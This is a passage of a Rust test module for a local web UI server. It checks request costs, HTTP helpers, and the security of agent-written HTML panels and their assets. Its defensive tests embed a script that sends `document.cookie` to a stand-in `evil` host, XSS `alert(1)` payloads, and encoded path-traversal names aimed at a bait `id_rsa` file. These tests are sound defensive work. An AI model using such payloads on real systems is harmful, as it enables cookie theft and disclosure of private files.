11750        )
11751    }
11752
11753    #[tokio::test]
11754    async fn list_request_cost_is_independent_of_record_count() {
11755        let (_tmp, repos, fx) = performance_fixture().await;
11756        let mut previous = None;
11757        for n in [4, 60] {
11758            seed_performance(&fx, &repos, n, n, n);
11759            let mut costs = Vec::new();
11760            for (path, discoveries) in [
11761                ("/api/questions", 1),
11762                ("/api/talks", 0),
11763                ("/api/health", 0),
11764                ("/api/stats", 1),
11765            ] {
11766                // Equal cold extraction caches at both scales; this also
11767                // bounds first-request cost instead of only warmed requests.
11768                for repo in &repos {
11769                    let cache = repo.join(".git/magi/config");
11770                    if cache.exists() {
11771                        std::fs::remove_dir_all(cache).unwrap();
11772                    }
11773                }
11774                let cost = request_counts(&fx.get(path).await);
11775                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11776                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11777                assert!(
11778                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11779                    "{path}: {cost:?}"
11780                );
11781                costs.push(cost);
11782            }
11783            if let Some(previous) = previous {
11784                assert_eq!(costs, previous);
11785            }
11786            previous = Some(costs);
11787        }
11788        // runs reads shared row inputs and probes process liveness; queue
11789        // builds one blocker inventory; notifications reads its own store.
11790        // None discovers configuration or spawns git per item.
11791    }
11792
11793    /// The same handler path without transport, so the deterministic cause
11794    /// can also be checked in environments that prohibit binding sockets.
11795    #[tokio::test]
11796    async fn list_handler_cost_without_transport() {
11797        let (_tmp, repos) = performance_repositories().await;
11798        let fx = Fixture {
11799            home: TempDir::new().unwrap(),
11800            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11801        };
11802        let ui = Arc::new(
11803            Ui::new(
11804                fx.queue(),
11805                fx.questions(),
11806                fx.talks(),
11807                fx.runs(),
11808                fx.home.path().to_path_buf(),
11809                repos[0].clone(),
11810            )
11811            .with_worktrees_root(fx.home.path().join("wt")),
11812        );
11813        let mut previous = None;
11814        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11815            seed_performance(&fx, &repos, n, runs, items);
11816            let mut costs = Vec::new();
11817            for endpoint in ["questions", "talks", "health", "stats"] {
11818                for repo in &repos {
11819                    let cache = repo.join(".git/magi/config");
11820                    if cache.exists() {
11821                        std::fs::remove_dir_all(cache).unwrap();
11822                    }
11823                }
11824                let (_, cost) = request_cost::measure(async {
11825                    match endpoint {
11826                        "questions" => {
11827                            let _ = questions_list(State(ui.clone())).await.unwrap();
11828                        }
11829                        "talks" => {
11830                            let _ = talks_list(
11831                                State(ui.clone()),
11832                                Query(ListQuery {
11833                                    limit: None,
11834                                    ids: None,
11835                                }),
11836                                header::HeaderMap::new(),
11837                            )
11838                            .await
11839                            .unwrap();
11840                        }
11841                        "health" => {
11842                            let _ = health(State(ui.clone())).await.unwrap();
11843                        }
11844                        _ => {
11845                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11846                                .await
11847                                .unwrap();
11848                        }
11849                    }
11850                })
11851                .await;
11852                eprintln!("{endpoint} handler N={n}: {cost:?}");
11853                assert_eq!(
11854                    cost.0,
11855                    if matches!(endpoint, "talks" | "health") {
11856                        0
11857                    } else {
11858                        1
11859                    },
11860                    "{endpoint}"
11861                );
11862                assert!(
11863                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11864                    "{endpoint}: {cost:?}"
11865                );
11866                costs.push(cost);
11867            }
11868            if let Some(previous) = previous {
11869                assert_eq!(costs, previous);
11870            }
11871            previous = Some(costs);
11872        }
11873    }
11874
11875    #[tokio::test]
11876    async fn list_request_cost_scopes_do_not_mix() {
11877        let (_tmp, repos, fx) = performance_fixture().await;
11878        seed_performance(&fx, &repos, 10, 0, 10);
11879        let (questions, talks, notices) = tokio::join!(
11880            fx.get("/api/questions"),
11881            fx.get("/api/talks"),
11882            fx.get("/api/notifications")
11883        );
11884        assert_eq!(request_counts(&questions).0, 1);
11885        // Cached summaries perform no config discovery or git work, even
11886        // alongside the questions request that still discovers config.
11887        assert_eq!(request_counts(&talks), (0, 0));
11888        assert_eq!(request_counts(&notices), (0, 0));
11889    }
11890
11891    #[tokio::test]
11892    async fn list_endpoints_large_home_responses() {
11893        check_large_home_endpoints(false).await;
11894    }
11895
11896    #[tokio::test]
11897    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11898    async fn list_endpoints_large_home_ceiling() {
11899        check_large_home_endpoints(true).await;
11900    }
11901
11902    async fn check_large_home_endpoints(timed: bool) {
11903        let (_tmp, repos, fx) = performance_fixture().await;
11904        seed_performance(&fx, &repos, 200, 300, 400);
11905        let mut failures = Vec::new();
11906        // app.js boot/change loads plus the initial dashboard, settings and
11907        // repo picker. SSE is a persistent stream, not a bounded GET.
11908        for path in [
11909            "/",
11910            "/app.js",
11911            "/app.css",
11912            "/api/questions",
11913            "/api/runs?limit=300",
11914            "/api/queue",
11915            "/api/talks",
11916            "/api/notifications",
11917            "/api/health",
11918            "/api/stats",
11919            "/api/loop",
11920            "/api/settings",
11921            "/api/repos",
11922        ] {
11923            let start = std::time::Instant::now();
11924            let result = if timed {
11925                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11926            } else {
11927                Ok(fx.get(path).await)
11928            };
11929            let elapsed = start.elapsed();
11930            eprintln!("{path}: {elapsed:?}");
11931            match result {
11932                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11933                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11934                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11935            }
11936        }
11937        assert!(failures.is_empty(), "{}", failures.join("\n"));
11938    }
11939
11940    struct Res {
11941        status: u16,
11942        headers: String,
11943        /// The header block with its original casing, for the assertions that
11944        /// compare a header *value* rather than looking for a name. Lowercasing
11945        /// a CSP would hide a directive spelled with a capital letter, and the
11946        /// whole point of that test is that the string is exactly right.
11947        head: String,
11948        body: String,
11949        /// The body before any UTF-8 handling, for the routes that serve
11950        /// something other than text. A panel asset is a PNG as often as not,
11951        /// and `from_utf8_lossy` would silently replace half of it.
11952        bytes: Vec<u8>,
11953    }
11954
11955    impl Res {
11956        fn json(&self) -> Value {
11957            serde_json::from_str(&self.body)
11958                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11959        }
11960
11961        /// One header's value verbatim, or `None` when it was not sent.
11962        fn header(&self, name: &str) -> Option<&str> {
11963            self.head.lines().find_map(|line| {
11964                let (key, value) = line.split_once(':')?;
11965                key.trim()
11966                    .eq_ignore_ascii_case(name)
11967                    .then(|| value.trim_start().trim_end_matches('\r'))
11968            })
11969        }
11970    }
11971
11972    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11973    /// be read to end-of-stream without parsing framing.
11974    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11975        request_with(addr, method, path, body, &[]).await
11976    }
11977
11978    /// As [`request`], with extra request headers - conditional GETs need
11979    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11980    /// worse than one that sets none.
11981    async fn request_with(
11982        addr: SocketAddr,
11983        method: &str,
11984        path: &str,
11985        body: Option<&str>,
11986        extra: &[(&str, &str)],
11987    ) -> Res {
11988        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11989        for (name, value) in extra {
11990            head.push_str(&format!("{name}: {value}\r\n"));
11991        }
11992        if let Some(body) = body {
11993            head.push_str("Content-Type: application/json\r\n");
11994            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11995        }
11996        head.push_str("\r\n");
11997        if let Some(body) = body {
11998            head.push_str(body);
11999        }
12000        let mut socket = tokio::net::TcpStream::connect(addr)
12001            .await
12002            .expect("connect to the test server");
12003        socket
12004            .write_all(head.as_bytes())
12005            .await
12006            .expect("write request");
12007        let mut raw = Vec::new();
12008        socket.read_to_end(&mut raw).await.expect("read response");
12009        // Split on the raw bytes rather than on a lossy string, so a binary
12010        // body survives to be compared byte for byte.
12011        let split = raw
12012            .windows(4)
12013            .position(|w| w == b"\r\n\r\n")
12014            .expect("a header block");
12015        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12016        let bytes = raw[split + 4..].to_vec();
12017        let status = head
12018            .lines()
12019            .next()
12020            .and_then(|line| line.split_whitespace().nth(1))
12021            .and_then(|code| code.parse().ok())
12022            .expect("a status line");
12023        Res {
12024            status,
12025            headers: head.to_lowercase(),
12026            head,
12027            body: String::from_utf8_lossy(&bytes).into_owned(),
12028            bytes,
12029        }
12030    }
12031
12032    /// A `POST` carrying a raw binary body and its own headers, for the
12033    /// attachment upload route - `request_with` only ever sends
12034    /// `Content-Type: application/json`, which is wrong for an image and
12035    /// would corrupt anything not valid UTF-8 by round-tripping it through
12036    /// `&str` first.
12037    async fn request_bytes(
12038        addr: SocketAddr,
12039        path: &str,
12040        headers: &[(&str, &str)],
12041        body: &[u8],
12042    ) -> Res {
12043        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12044        for (name, value) in headers {
12045            head.push_str(&format!("{name}: {value}\r\n"));
12046        }
12047        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12048        let mut socket = tokio::net::TcpStream::connect(addr)
12049            .await
12050            .expect("connect to the test server");
12051        socket
12052            .write_all(head.as_bytes())
12053            .await
12054            .expect("write request head");
12055        socket.write_all(body).await.expect("write request body");
12056        let mut raw = Vec::new();
12057        socket.read_to_end(&mut raw).await.expect("read response");
12058        let split = raw
12059            .windows(4)
12060            .position(|w| w == b"\r\n\r\n")
12061            .expect("a header block");
12062        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12063        let bytes = raw[split + 4..].to_vec();
12064        let status = head
12065            .lines()
12066            .next()
12067            .and_then(|line| line.split_whitespace().nth(1))
12068            .and_then(|code| code.parse().ok())
12069            .expect("a status line");
12070        Res {
12071            status,
12072            headers: head.to_lowercase(),
12073            head,
12074            body: String::from_utf8_lossy(&bytes).into_owned(),
12075            bytes,
12076        }
12077    }
12078
12079    /// A run on disk, without touching the process-global magi home.
12080    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12081        let mut state = RunState::new(
12082            PathBuf::from("/repo/magi"),
12083            "main".to_owned(),
12084            "0123456789abcdef".to_owned(),
12085            "Add a web UI\n\nMobile first.".to_owned(),
12086            Config::default(),
12087        );
12088        state.id = id.to_owned();
12089        state.status = status;
12090        let dir = runs.join(id);
12091        std::fs::create_dir_all(&dir).expect("run dir");
12092        std::fs::write(
12093            dir.join("run.json"),
12094            serde_json::to_string_pretty(&state).expect("serialize run"),
12095        )
12096        .expect("write run.json");
12097    }
12098
12099    /// Same as [`write_run`], but against a named repository rather than the
12100    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12101    /// spread across more than one.
12102    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12103        let mut state = RunState::new(
12104            PathBuf::from(repo),
12105            "main".to_owned(),
12106            "0123456789abcdef".to_owned(),
12107            "task".to_owned(),
12108            Config::default(),
12109        );
12110        state.id = id.to_owned();
12111        state.status = status;
12112        let dir = runs.join(id);
12113        std::fs::create_dir_all(&dir).expect("run dir");
12114        std::fs::write(
12115            dir.join("run.json"),
12116            serde_json::to_string_pretty(&state).expect("serialize run"),
12117        )
12118        .expect("write run.json");
12119    }
12120
12121    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12122        let body = serde_json::json!({
12123            "schema": 1,
12124            "pid": 4242,
12125            "started_at": Timestamp::now().to_string(),
12126            "updated_at": updated_at.to_string(),
12127            "idle": false,
12128            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12129            "completed": 7,
12130            "polls": 143,
12131        });
12132        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12133    }
12134
12135    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12136    ///
12137    /// No test in this file may start the real loop - see [`Ui::launch`] for
12138    /// why - so this stands in for the only thing the routes need a loop to
12139    /// do: keep running until `Stop` is set, then return. A real
12140    /// `serve_until` here would resolve its queue and its status file through
12141    /// the process-global magi home, claim whatever it found in the
12142    /// operator's live backlog, overwrite the status file of the `magi serve`
12143    /// that owns it, and spend real agent quota on a real competition.
12144    fn launch_idle(
12145        _opts: daemon::Opts,
12146        stop: daemon::Stop,
12147    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12148        Box::pin(async move {
12149            while !stop.stopped() {
12150                tokio::time::sleep(Duration::from_millis(2)).await;
12151            }
12152            Ok(())
12153        })
12154    }
12155
12156    /// A loop that fails on the way up, the way one whose home has gone
12157    /// read-only does.
12158    fn launch_broken(
12159        _opts: daemon::Opts,
12160        _stop: daemon::Stop,
12161    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12162        // The stand-in dies instantly, so a restarted one can record its own
12163        // failure before the start's response is read. The second attempt
12164        // therefore fails with a different message, to tell a stale error
12165        // from a fresh one.
12166        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12167        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12168        Box::pin(async move {
12169            Err(anyhow::anyhow!(if first {
12170                "publish the daemon status file: read-only file system"
12171            } else {
12172                "the restarted stand-in failed as well"
12173            }))
12174        })
12175    }
12176
12177    /// The loop view once `want` accepts it.
12178    ///
12179    /// Polled rather than asserted straight after the POST because stopping
12180    /// is deliberately not instant - that is the contract - and rather than
12181    /// slept through because a fixed wait is either flaky or slow.
12182    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12183    /// finite, so a genuine hang fails the test instead of hanging the
12184    /// suite.
12185    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12186        for _ in 0..SETTLE_STEPS {
12187            let view = fx.get("/api/loop").await.json();
12188            if want(&view) {
12189                return view;
12190            }
12191            tokio::time::sleep(Duration::from_millis(10)).await;
12192        }
12193        panic!(
12194            "the loop never settled: {}",
12195            fx.get("/api/loop").await.json()
12196        );
12197    }
12198
12199    /// File an open question directly in the store the server reads.
12200    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12201        let store = fx.questions();
12202        let mut q = Question::new(
12203            "20260902-000000-beef".to_owned(),
12204            "implement".to_owned(),
12205            "impl-A".to_owned(),
12206            summary.to_owned(),
12207            "because it matters".to_owned(),
12208            choices.iter().map(|c| (*c).to_owned()).collect(),
12209        );
12210        store.put(&mut q).expect("put question");
12211        q.id
12212    }
12213
12214    /// A question with a panel the server can serve, plus the named assets.
12215    ///
12216    /// Written through `Questions::put_panel` rather than by laying out the
12217    /// directory here, so these tests exercise the same on-disk shape the
12218    /// agents produce and cannot pass against a layout only the tests know.
12219    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12220        let store = fx.questions();
12221        let mut q = Question::new(
12222            "20260902-000000-beef".to_owned(),
12223            "land".to_owned(),
12224            "fix".to_owned(),
12225            "Merge this?".to_owned(),
12226            "the diff is in the panel".to_owned(),
12227            vec!["merge".to_owned(), "hold".to_owned()],
12228        );
12229        // Staged outside the questions root, because `put_panel` copies from
12230        // wherever the agent left its files.
12231        let staging = fx.home.path().join("staging");
12232        std::fs::create_dir_all(&staging).expect("staging dir");
12233        let sources: Vec<PathBuf> = assets
12234            .iter()
12235            .map(|(name, bytes)| {
12236                let path = staging.join(name);
12237                std::fs::write(&path, bytes).expect("write staged asset");
12238                path
12239            })
12240            .collect();
12241        store
12242            .put_panel(&mut q, html, &sources)
12243            .expect("write the panel");
12244        store.put(&mut q).expect("put question");
12245        q.id
12246    }
12247
12248    /// A talk on disk, without talking to a model.
12249    ///
12250    /// Written as JSON straight into the store the server reads, because the
12251    /// only constructor `talk::begin` offers takes no turn but still requires
12252    /// a real caller-visible flow. The one thing this cannot make up is the
12253    /// seat, so it is built with the real `SeatState::new` and serialized -
12254    /// the alternative, hand-writing that object, would make these tests fail
12255    /// the day the seat gains a field.
12256    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12257        seed_talk_at(&fx.talks(), id, status)
12258    }
12259
12260    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12261        std::fs::create_dir_all(store.root()).expect("talks dir");
12262        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12263            .expect("serialize a seat");
12264        let body = serde_json::json!({
12265            "schema": 1,
12266            "id": id,
12267            "repo": "/repo/magi",
12268            "agent": "mock",
12269            "status": status,
12270            "turns": [],
12271            "created_at": Timestamp::now().to_string(),
12272            "updated_at": Timestamp::now().to_string(),
12273            "seat": seat,
12274        });
12275        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12276        store.get(id).expect("the seeded talk has to be readable");
12277        id.to_owned()
12278    }
12279
12280    #[tokio::test]
12281    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12282        let fx = Fixture::start().await;
12283        let id = panel(
12284            &fx,
12285            "<h1>Merge?</h1><img src=\"diff.svg\">",
12286            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12287        );
12288
12289        for path in [
12290            format!("/api/questions/{id}/panel"),
12291            format!("/api/questions/{id}/asset/diff.svg"),
12292        ] {
12293            let res = fx.get(&path).await;
12294            assert_eq!(res.status, 200, "{path}: {}", res.body);
12295            // The whole string, not a substring. A weakened directive - an
12296            // `img-src *` that lets a panel beacon out to a remote host, a
12297            // `script-src` anything, a missing `form-action` that lets it post
12298            // the owner's decision to a third party - has to fail here, and a
12299            // `contains` assertion would let every one of those through.
12300            assert_eq!(
12301                res.header("content-security-policy"),
12302                Some(
12303                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12304                     font-src data:; base-uri 'none'; form-action 'none'; \
12305                     frame-ancestors 'self'"
12306                ),
12307                "{path} is the only thing between a hostile panel and the tailnet"
12308            );
12309            assert_eq!(
12310                res.header("x-content-type-options"),
12311                Some("nosniff"),
12312                "{path}: a browser must not re-decide the type we sent"
12313            );
12314            assert_eq!(
12315                res.header("referrer-policy"),
12316                Some("no-referrer"),
12317                "{path}: a panel must not leak the question id off the machine"
12318            );
12319
12320            // The front end mounts the frame only after a `HEAD` says the
12321            // panel is there, so `HEAD` has to answer with the same status and
12322            // the same policy as `GET` - a preflight that came back without
12323            // the CSP would mean a frame mounted on an unverified promise.
12324            let pre = fx.head(&path).await;
12325            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12326            assert_eq!(
12327                pre.header("content-security-policy"),
12328                res.header("content-security-policy"),
12329                "{path}: the preflight carries the same policy"
12330            );
12331            assert_eq!(
12332                pre.header("content-type"),
12333                res.header("content-type"),
12334                "{path}: the preflight carries the same type"
12335            );
12336        }
12337    }
12338
12339    #[tokio::test]
12340    async fn a_panel_reaches_the_browser_byte_for_byte() {
12341        let fx = Fixture::start().await;
12342        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12343        // tag, an entity, and a multi-byte character. The sandbox is what makes
12344        // this safe, so nothing here may be rewritten on the way out - a
12345        // rewritten diff is a diff the owner cannot trust.
12346        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12347        let id = panel(&fx, html, &[]);
12348
12349        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12350
12351        assert_eq!(res.status, 200);
12352        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12353        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12354        assert_eq!(
12355            res.header("content-disposition"),
12356            None,
12357            "the panel itself is rendered in the frame, not downloaded"
12358        );
12359    }
12360
12361    #[tokio::test]
12362    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12363        let fx = Fixture::start().await;
12364        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12365        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12366        let id = panel(
12367            &fx,
12368            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12369            &[("diff.svg", svg), ("shot.png", png)],
12370        );
12371
12372        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12373        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12374
12375        assert_eq!(as_svg.status, 200);
12376        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12377        // An SVG is XML that may carry script. Inside the panel it is an
12378        // `<img src>` and the script cannot run; opened at the top level it
12379        // would be a document on magi's own origin, so the browser is told to
12380        // download it instead of rendering it.
12381        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12382
12383        assert_eq!(as_png.status, 200);
12384        assert_eq!(as_png.header("content-type"), Some("image/png"));
12385        assert_eq!(
12386            as_png.header("content-disposition"),
12387            None,
12388            "a raster image has no execution surface, so tapping it still shows it"
12389        );
12390        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12391    }
12392
12393    #[tokio::test]
12394    async fn an_html_asset_is_never_served_as_html() {
12395        let fx = Fixture::start().await;
12396        let id = panel(
12397            &fx,
12398            "<p>see the notes</p>",
12399            &[
12400                (
12401                    "notes.html",
12402                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12403                ),
12404                ("hook.js", b"fetch('http://evil/')"),
12405                ("data.json", b"{}"),
12406                ("HEADLINE.TXT", b"plain"),
12407            ],
12408        );
12409
12410        for name in ["notes.html", "hook.js", "data.json"] {
12411            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12412            assert_eq!(res.status, 200, "{name}: {}", res.body);
12413            // Serving this as text/html would be a way to reach agent markup
12414            // at the top level of the operator's browser, outside the frame's
12415            // sandbox and outside its CSP - which is the whole thing the panel
12416            // design exists to prevent. Unlisted types are downloads.
12417            assert_eq!(
12418                res.header("content-type"),
12419                Some("application/octet-stream"),
12420                "{name} must not be a type the browser will execute or render"
12421            );
12422        }
12423        // The whitelist is matched case-insensitively, so an agent shouting the
12424        // extension still gets a readable file rather than a download.
12425        let txt = fx
12426            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12427            .await;
12428        assert_eq!(
12429            txt.header("content-type"),
12430            Some("text/plain; charset=utf-8")
12431        );
12432    }
12433
12434    #[tokio::test]
12435    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12436        let fx = Fixture::start().await;
12437        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12438        // Something outside the panel directory that a traversal would reach if
12439        // one got through, so a passing test is not merely "the file was
12440        // missing anyway".
12441        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12442
12443        // Decoded before this server's handler sees them: axum percent-decodes
12444        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12445        // string with a NUL in it. All three look like ordinary single-segment
12446        // filenames to the router, so the router passes them through and
12447        // `valid_asset_name` is what refuses them - for the literal `..`, and
12448        // for `/`, `\` and NUL not being in the permitted character set.
12449        for encoded in [
12450            "%2e%2e%2fid_rsa",
12451            "..%2fid_rsa",
12452            "..%5cid_rsa",
12453            "%2e%2e%5cid_rsa",
12454            "diff%00.svg",
12455            "..",
12456            ".hidden",
12457            "%2e%2e%2f%2e%2e%2fid_rsa",
12458        ] {
12459            let res = fx
12460                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12461                .await;
12462            assert_eq!(
12463                res.status, 400,
12464                "`{encoded}` has to be refused by name, not looked up: {}",
12465                res.body
12466            );
12467            assert!(res.json()["error"].is_string(), "{}", res.body);
12468        }
12469
12470        // Not decoded, and never this handler's problem: a real slash makes the
12471        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12472        // so axum's router has no route to match and answers before any code
12473        // here runs. Asserted so that a future route with a wildcard segment
12474        // cannot quietly open this door.
12475        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12476            let res = fx
12477                .get(&format!("/api/questions/{id}/asset/{literal}"))
12478                .await;
12479            assert_eq!(
12480                res.status, 404,
12481                "`{literal}` must not match the asset route at all: {}",
12482                res.body
12483            );
12484        }
12485    }
12486
12487    #[tokio::test]
12488    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12489        let fx = Fixture::start().await;
12490        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12491        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12492
12493        // A question nobody wrote a panel for. The client preflights with HEAD
12494        // and cannot see inside a sandboxed frame, so this must be a status and
12495        // not an empty page.
12496        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12497        assert_eq!(none.status, 404, "{}", none.body);
12498        assert!(none.json()["error"].is_string(), "{}", none.body);
12499        assert_eq!(
12500            fx.head(&format!("/api/questions/{plain}/panel"))
12501                .await
12502                .status,
12503            404,
12504            "the preflight is the only way the client can learn this"
12505        );
12506
12507        // A name that is perfectly legal and simply is not there.
12508        let missing = fx
12509            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12510            .await;
12511        assert_eq!(missing.status, 404, "{}", missing.body);
12512        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12513
12514        // A question that does not exist at all, on both routes.
12515        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12516        assert_eq!(
12517            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12518            404
12519        );
12520    }
12521
12522    #[tokio::test]
12523    async fn a_run_with_an_open_question_reads_as_waiting() {
12524        let fx = Fixture::start().await;
12525        let run = "20260902-000000-beef".to_owned();
12526        write_run(&fx.runs(), &run, RunStatus::Implementing);
12527
12528        let before = fx.get("/api/runs").await.json();
12529        assert_eq!(before[0]["waiting"], false, "{before}");
12530
12531        let store = fx.questions();
12532        let mut q = Question::new(
12533            run.clone(),
12534            "implement".to_owned(),
12535            "impl-A".to_owned(),
12536            "Which backend?".to_owned(),
12537            String::new(),
12538            vec!["SQLite".to_owned()],
12539        );
12540        store.put(&mut q).expect("put");
12541
12542        let during = fx.get("/api/runs").await.json();
12543        assert_eq!(during[0]["waiting"], true, "{during}");
12544
12545        // Answered: the run is moving again, and the flag has to follow without
12546        // anything having rewritten run.json.
12547        q.answer(Answer::Choice("SQLite".to_owned()))
12548            .expect("answer");
12549        store.put(&mut q).expect("put");
12550        let after = fx.get("/api/runs").await.json();
12551        assert_eq!(after[0]["waiting"], false, "{after}");
12552    }
12553
12554    #[tokio::test]
12555    async fn an_open_question_is_listed_and_counted_by_health() {
12556        let fx = Fixture::start().await;
12557        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12558
12559        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12560        let listed = fx.get("/api/questions").await.json();
12561        assert_eq!(listed.as_array().expect("array").len(), 1);
12562        assert_eq!(listed[0]["id"], id);
12563        assert_eq!(listed[0]["status"], "open");
12564        assert_eq!(listed[0]["choices"][1], "Redis");
12565        // The count is what makes the phone's indicator honest: it is the one
12566        // number meaning nothing will move until a human acts.
12567        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12568    }
12569
12570    fn obsolete_approval_state() -> RunState {
12571        let mut state = crate::land::tests::repair_state(true, true);
12572        state.pr = Some(crate::run::PrRecord {
12573            url: "https://github.com/example/repo/pull/42".into(),
12574            number: 42,
12575            state: "open".into(),
12576            checks: "green".into(),
12577            round: 1,
12578            rounds: 4,
12579            red_at_merge: Vec::new(),
12580        });
12581        state
12582    }
12583
12584    #[tokio::test]
12585    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12586        for owner in ["missing", "current", "completed", "later"] {
12587            let fx = Fixture {
12588                home: TempDir::new().unwrap(),
12589                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12590            };
12591            let mut state = obsolete_approval_state();
12592            state.status = RunStatus::Landing;
12593            state.parked = true;
12594            state.driver_exited = true;
12595            let mut q = Question::new(
12596                state.id.clone(),
12597                crate::land::APPROVAL_NODE.into(),
12598                "land".into(),
12599                "Old approval".into(),
12600                "Original evidence".into(),
12601                vec!["merge".into(), "hold".into()],
12602            );
12603            state.land_approval = Some(crate::run::LandApproval {
12604                question: q.id.clone(),
12605                head: "head".into(),
12606            });
12607            state.save_under(fx.home.path()).unwrap();
12608            let stale = state.clone();
12609            fx.questions().put(&mut q).unwrap();
12610            let mut task = Task::new(
12611                "Owner".into(),
12612                "Original instruction".into(),
12613                state.repo.clone(),
12614                Source::Human,
12615            );
12616            task.runs.push(state.id.clone());
12617            task.status = if owner == "completed" {
12618                TaskStatus::Done
12619            } else {
12620                TaskStatus::Parked
12621            };
12622            if owner == "later" {
12623                task.runs.push("later-run".into());
12624            }
12625            if owner != "missing" {
12626                fx.queue().put(&mut task).unwrap();
12627            }
12628            let ui = Arc::new(Ui::new(
12629                fx.queue(),
12630                fx.questions(),
12631                fx.talks(),
12632                fx.runs(),
12633                fx.home.path().into(),
12634                state.repo.clone(),
12635            ));
12636            let response = question_answer(
12637                State(ui),
12638                Path(q.id.clone()),
12639                Ok(Json(NewAnswer {
12640                    choice: Some(crate::merge_decision::DISMISS.into()),
12641                    text: None,
12642                    ..Default::default()
12643                })),
12644            )
12645            .await
12646            .unwrap();
12647            assert_eq!(
12648                response.0.question.resolution().as_deref(),
12649                Some(crate::merge_decision::DISMISS)
12650            );
12651            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12652            assert_eq!(disk.status, RunStatus::Superseded);
12653            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12654            assert!(!crate::merge_decision::resumable_hold(&disk));
12655            assert_eq!(
12656                serde_json::to_value(&disk.pr).unwrap(),
